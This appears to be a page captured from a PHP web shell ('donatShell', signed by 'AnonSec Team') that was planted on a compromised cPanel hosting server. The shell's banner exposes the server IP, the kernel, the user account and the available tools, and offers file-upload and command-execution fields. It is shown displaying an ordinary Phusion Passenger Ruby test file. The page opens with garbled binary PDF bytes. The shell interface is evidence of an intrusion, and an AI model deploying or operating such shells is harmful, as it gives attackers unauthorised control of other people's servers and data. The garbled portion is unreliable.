%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/test/ruby/rack/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/test/ruby/rack/preloader_spec.rb
require File.expand_path(File.dirname(__FILE__) + '/../spec_helper')
require 'ruby/shared/loader_sharedspec'
require 'ruby/shared/ruby_loader_sharedspec'

module PhusionPassenger

describe "Rack preloader" do
  include LoaderSpecHelper

  before :each do
    @stub = register_stub(RackStub.new("rack"))
  end

  def start(options = {})
    @preloader = Preloader.new(["ruby", "#{PhusionPassenger.helper_scripts_dir}/rack-preloader.rb"], @stub.app_root)
    begin
      @preloader.start(options)
    rescue SpawnError => e
      @process = e
    else
      @process = @preloader.spawn(options)
    end
  end

  include_examples "a loader"
  include_examples "a Ruby loader"

  it "calls the starting_worker_process event with forked=true" do
    File.prepend(@stub.startup_file, %q{
      history_file = "history.txt"
      PhusionPassenger.on_event(:starting_worker_process) do |forked|
        ::File.open(history_file, 'a') do |f|
          f.puts "worker_process_started: forked=#{forked}\n"
        end
      end
      ::File.open(history_file, 'a') do |f|
        f.puts "end of startup file\n"
      end
    })
    start
    expect(@process).to be_an_instance_of(AppProcess)
    expect(File.read("#{@stub.app_root}/history.txt")).to eq(
      "end of startup file\n" \
      "worker_process_started: forked=true\n")
  end
end

end # module PhusionPassenger

Anon7 - 2022
AnonSec Team